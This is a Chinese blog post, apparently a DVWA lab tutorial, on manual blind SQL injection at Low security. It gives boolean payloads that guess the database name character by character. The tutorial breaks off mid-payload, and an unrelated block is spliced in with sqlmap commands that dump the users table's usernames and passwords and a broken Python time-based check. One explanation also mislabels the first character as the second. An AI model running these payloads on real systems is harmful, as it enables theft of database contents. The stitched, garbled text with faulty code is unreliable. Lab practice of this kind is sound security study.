【DVWA】21. SQL Injection (Blind)SQL注入盲注(Low手工版)

1. Low

1.1 判断注入类型

首先判断是什么类型的注入
输入

1and1='1

查询成功,说明为字符型注入
在这里插入图片描述

1.2 判断数据库名

然后进行数据库名猜解
首先是长度的猜解

1' and length(database())=1#

在这里插入图片描述
说明长度不为1

在这里插入图片描述猜解结果为长度为4

然后猜解库名,采用二分法,一个一个字符猜解

d:

1' and ascii(substr(database(),1,1))=100#

在这里插入图片描述ascii(substr(database(),1,1)):这部分是一个SQL查询。让我们逐步解释它:
database():这是一个MySQL内置函数,用于获取当前数据库的名称。
substr():这是截取字符串的函数。在这里,它用于从数据库名称中提取第二个字符。
ascii():这是将字符转换为ASCII码的函数。因此,ascii(substr(database(),1,1))返回数据库名称的第二个字符的ASCII码。
=100:这是一个比较操作,检查第二个字符的ASCII码是否等于100
1 和 1 是用于指定截取字符串的起始位置和长度的参数
v:

1' and ascii(substr(database(),2,1))=
### 关于 DVWASQL 注入技术及其测试 SQL 是一种高级的 SQL 注入攻击形式,在这种情况下,应用程序不会返回任何错误消息或查询结果给攻击者。相反,攻击者通过发送特定请求并观察响应时间或其他间接信号来推断数据库的内容[^1]。 #### 如何利用 DVWA 测试 SQL DVWA 提供了一个低安全级别的环境用于练习 SQL 注入技术。为了测试 SQL ,可以按照以下方式操作: 1. **设置目标 URL 和 Cookie** 需要指定目标 URL 并提供必要的会话 cookie 来保持登录状态。例如: ```bash python sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" \ --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" ``` 这里 `sqli_blind` 是专门针对模块的路径[^3]。 2. **检测是否存在漏洞** 使用工具如 sqlmap 可以自动探测是否有的可能性。如果发现存在,则可以通过布尔型或基于时间延迟的方式进一步挖掘数据。 布尔型依赖于条件判断的结果改变页面行为;而基于时间延迟的则通过测量服务器响应的时间差异来进行推测[^4]。 3. **提取表结构和其他敏感信息** 当确认有漏洞后,可尝试获取更多关于数据库的信息,比如列出所有的表格名称或者字段名等。例如命令如下所示: ```bash python sqlmap.py ... -D dvwa --tables ``` 此外还可以继续深入探索具体某个表内的记录详情: ```bash python sqlmap.py ... -T users -C username,password --dump ``` 以上过程展示了如何借助自动化脚本以及手动分析相结合的方式来研究和实践 SQL 的技术要点[^2]。 ```python import requests def check_sql_injection(url, payload): params = {'id': payload} cookies = {"PHPSESSID": "your_session_id", "security":"low"} r = requests.get(url,params=params,cookies=cookies) if "True" in r.text or len(r.content) != normal_response_length: return True return False normal_response_length=len(requests.get(base_url).content) payload='1 AND SLEEP(5)-- ' if(check_sql_injection(base_url,payload)): print('Time-based Blind Injection Detected') else: print('No Vulnerability Found.') ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值